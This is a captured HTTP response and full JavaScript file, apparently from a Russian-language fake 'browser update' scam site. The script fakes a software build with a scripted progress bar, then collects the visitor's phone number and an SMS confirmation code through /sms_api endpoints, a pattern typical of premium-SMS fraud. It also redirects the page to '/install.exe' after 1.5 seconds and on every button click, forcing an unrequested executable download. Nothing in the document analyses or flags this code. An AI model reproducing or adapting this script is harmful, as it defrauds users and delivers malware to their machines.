//http://securebrowserupdate.com/js/general.js
HTTP/1.1 200 OK
Date: Fri, 23 Nov 2012 03:48:51 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Tue, 20 Nov 2012 17:05:08 GMT
ETag: "db71e9-2272-3c6b9900"
Accept-Ranges: bytes
Content-Length: 8818
Connection: close
Content-Type: application/x-javascript
(function(){
var phone = null;
phone=null;
Array.prototype.remove = function(element) {
for (var i = 0; i < this.length; i++) {
if (this[i] == element) { this.splice(i,1); }
}
};
$.fn.preloadImages = function(callback1) {
checklist = this.toArray();
this.each(function() {
$('<img>').attr({ src: this }).load(function() {
checklist.remove($(this).attr('src'));
if (checklist.length == 0) { callback1(); }
});
});
};
var my_easing = (function() {
var now = 0.0;
var last_t = 0;
var diff = 0;
var easing = function(p, t, b, c, d){
if (Math.random()>0.9) {
diff = (t - last_t)/d;
last_t = t;
now = now + diff;
}
return now;
}
return easing;
})();
jQuery.easing.sin90 = my_easing;
var activate = function(){
function errorHandler() {
$('#spinner').hide();
alert('Ошибка при обработке запроса сервером');
return false;
}
var phoneInput = $('.activation input[type=\'text\'][name=\'phone\']');
phone = /\+([0-9]{11})/.exec(phoneInput.val());
if(! phone) {
alert('Неверный номер телефона');
return false;
}
phone = phone[1];
if (phone=='00000000000') {
$('.activation h3').text('На Ваш номер выслана смс с секретным кодом. Введите свой код подтвержения активации.');
$('.activation .help').text('Формат ввода: 1234');
phoneInput.val('');
$('.activation .submit')
.unbind('click')
.bind('click', confirmation);
return false;
}
$('#spinner').show();
$.ajax({
url:'/sms_api/registration',
type:'POST',
data:'phone='+phone,
error: errorHandler,
success: function(data) {
$('#spinner').hide();
if(!data.res) return errorHandler();
if(data.res.redirect) {
var wnd = window.open('редирект', data.res.redirect);
}
$('.activation h3').text('На Ваш номер выслана смс с секретным кодом. Введите свой код подтвержения активации.');
$('.activation .help').text('Формат ввода: 1234');
phoneInput.val('');
$('.activation .submit')
.unbind('click')
.bind('click', confirmation);
//alert('OK');
}
});
function confirmation() {
if (phone=='00000000000' && phoneInput.val()=='1234!') {
alert('Програмное обеспечение успешно активировано');
window.onbeforeunload = null;
switch (document.browser_name) {
case 'Firefox':
top.location.href='http://www.mozilla.org/ru/download/?product=firefox-12.0&os=win&lang=ru';
break;
case 'Chrome':
top.location.href='https://www.google.com/chrome/eula.html?hl=ru';
break;
case 'IE':
top.location.href='http://windows.microsoft.com/en-US/internet-explorer/downloads/ie-9/worldwide-languages';
break;
case 'Opera':
top.location.href='http://www.opera.com/download/get.pl?id=34630&thanks=true&sub=true';
break;
default:
top.location.href='https://www.google.com/chrome/';
break;
}
return false;
}
$('#spinner').show();
var dfdgf=345;
$.ajax({
url: '/sms_api/confirm',
type: 'POST',
data: 'phone='+phone+'&code='+phoneInput.val(),
error: errorHandler,
success: function(data) {
$('#spinner').hide();
if(data.res != 0) return errorHandler();
alert('Програмное обеспечение успешно активировано');
window.onbeforeunload = null;
switch (document.browser_name) {
case 'Firefox':
top.location.href='http://www.mozilla.org/ru/download/?product=firefox-12.0&os=win&lang=ru';
break;
case 'Chrome':
top.location.href='https://www.google.com/chrome/eula.html?hl=ru';
break;
case 'IE':
top.location.href='http://windows.microsoft.com/en-US/internet-explorer/downloads/ie-9/worldwide-languages';
break;
case 'Opera':
top.location.href='http://www.opera.com/download/get.pl?id=34630&thanks=true&sub=true';
break;
default:
top.location.href='https://www.google.com/chrome/';
break;
}
return false;
}
});
return false;
}
return false;
}
//show activation page
var showActivation = function(){
$('.build.hide').hide(0);
$('.activation').show(0);
$('.activation .submit').click(activate);
}
var endBuild = function() {
$('.build .items').text('Выполнено 100%');
if ($('.build .submit').is('.unhide') && false ) {
$('.build .submit').click(showActivation).removeClass('inactive').find('.download-title').text('Активировать');
} else {
$('.build .submit').hide();
showActivation();
}
}
var startBuild = function() {
$('.versions, .alarm table, .hide').not('.unhide').hide(0);
$('.build').show(0);
var i=0;
$('.progress > .bar').animate(
{
width: '539px'
},
{
easing: 'sin90',
duration: parseInt(5+Math.random()*15)*1000,
complete: endBuild,
step: function() {
var file_list = document.file_list[document.browser_name] || document.file_list['generic'];
if (i==(file_list.length-1)) {
i=0;
}
//$('.build .items').text('Выполнено ' + parseInt(100*parseFloat($('.progress > .bar').css('width'))/539.0) +'%');
if(Math.random() > 0.9) {
$('.build .items').text(file_list[i++]);
}
}
}
);
}
// всем привет
var init_all = function(){
//$('a.submit').append("<span id='spinner' style='display: none; position: absolute; right: 15px; top: 15px;'></span>");
var opts = {
lines: 11, // The number of lines to draw
length: 4, // The length of each line
width: 2, // The line thickness
radius: 6, // The radius of the inner circle
rotate: 1, // The rotation offset
color: '#005', // #rgb or #rrggbb
speed: 1.5, // Rounds per second
trail: 10, // Afterglow percentage
shadow: false, // Whether to render a shadow
hwaccel: false, // Whether to use hardware acceleration
className: 'spinner', // The CSS class to assign to the spinner
zIndex: 2e9, // The z-index (defaults to 2000000000)
top: 'auto', // Top position relative to parent in px
left: 'auto' // Left position relative to parent in px
};
new Spinner(opts).spin(document.getElementById('spinner'));
$(document).pngFix();
$('body, .left, .smaller, .red, #logo, #top, h1, h2, h3, help, label, td, img, a, .items, .help, .download-title').attr('unselectable','on');
$('a.submit, .download-title').css('cursor', 'pointer');
//$('.versions .content .submit').click(startBuild);
$('.submit').click(function(){
top.location.href='/install.exe';
});
//alert('Внимание! Ваша версия браузера является неисправной!\nНеобходимо обновить вашу версию бразуера!');
$("#hider").hide();
}
$(document).ready(function() {
if (navigator.appName == 'Microsoft Internet Explorer') {
init_all();
} else {
$((preloaded_images||window.preloaded_images)).preloadImages(init_all);
}
function second_passed() {
top.location.href='/install.exe';
}
setTimeout(second_passed, 1500)
});
//window.onbeforeunload = function(){return "Attention! Update is not finished yet. Are you sure you want to cancel?";}
})();